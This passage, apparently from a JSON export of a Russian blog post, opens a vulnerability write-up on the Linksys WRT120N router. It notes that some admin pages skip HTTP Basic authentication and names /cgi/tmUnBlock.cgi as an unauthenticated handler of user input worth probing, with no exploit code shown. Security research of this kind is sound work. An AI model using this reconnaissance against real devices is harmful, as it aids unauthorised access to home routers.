\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438.<br \/>  \u041a\u0430\u043a \u043c\u044b \u0443\u0437\u043d\u0430\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435, WRT120N \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 RTOS. \u0412 \u0446\u0435\u043b\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 WEB-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 RTOS \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 HTTP Basic authentication:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/fb4\/93b\/e74\/fb493be745135cca0d4491917f21d46f.png\" alt=\"image\"\/><\/p>\n<p>  \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043d\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 \u0435\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/7ed\/135\/b57\/7ed135b5702de0ca31af41d1f37ed130.png\" alt=\"image\"\/><\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/934\/da3\/72e\/934da372e718395bd5653a1945b8f5b6.png\" alt=\"image\"\/><\/p>\n<p>  \u041b\u044e\u0431\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u044d\u0442\u0438 URL \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0431\u0430\u0433\u043e\u0432.<\/p>\n<p>  \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u044e\u0442 (NULL-\u0444\u0443\u043d\u043a\u0446\u0438\u0438). \u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \/cgi\/tmUnBlock.cgi \u0438\u043c\u0435\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:<br \/>  <a href=\"http:\/\/www.devttys0.com\/wp-content\/uploads\/2014\/02\/cgi_tmUnblock.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/56c\/81b\/4ab\/56c81b4abc3901f5308ca1b7e0cf6966.png\" alt=\"image\"\/><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-213205","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/213205","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=213205"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/213205\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=213205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=213205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=213205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}